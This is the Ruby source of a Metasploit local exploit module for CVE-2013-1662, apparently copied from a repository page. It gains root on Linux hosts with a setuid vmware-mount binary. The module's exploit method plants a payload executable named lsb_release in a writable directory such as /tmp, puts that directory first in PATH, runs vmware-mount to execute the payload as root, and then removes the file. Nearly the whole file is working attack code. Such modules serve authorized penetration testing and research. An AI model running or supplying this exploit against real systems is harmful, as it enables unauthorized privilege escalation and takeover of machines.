88 lines
2.8 KiB
Ruby
88 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Exploit::EXE
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
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'Description' => %q{
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VMWare Workstation (up to and including 9.0.2 build-1031769)
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and Player have a setuid executable called vmware-mount that
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invokes lsb_release in the PATH with popen(3). Since PATH is
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user-controlled, and the default system shell on
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Debian-derived distributions does not drop privs, we can put
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an arbitrary payload in an executable called lsb_release and
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have vmware-mount happily execute it as root for us.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tavis Ormandy', # Vulnerability discovery and PoC
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'egypt' # Metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultOptions' => {
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"PrependSetresuid" => true,
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"PrependSetresgid" => true,
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"PrependFork" => true,
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},
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'Privileged' => true,
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'DefaultTarget' => 0,
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'References' => [
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[ 'CVE', '2013-1662' ],
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[ 'OSVDB', '96588' ],
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[ 'BID', '61966'],
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[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
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[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ],
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
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],
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'DisclosureDate' => "Aug 22 2013"
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}
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))
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register_options([
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OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
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])
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end
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def check
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if setuid?("/usr/bin/vmware-mount")
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CheckCode::Appears
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else
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CheckCode::Safe
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end
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end
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def exploit
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unless check == CheckCode::Appears
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fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
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end
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lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
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write_file(lsb_path, generate_payload_exe)
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cmd_exec("chmod +x #{lsb_path}")
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cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
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# Delete it here instead of using FileDropper because the original
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# session can clean it up
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cmd_exec("rm -f #{lsb_path}")
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end
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def setuid?(remote_file)
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!!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true")
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end
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end
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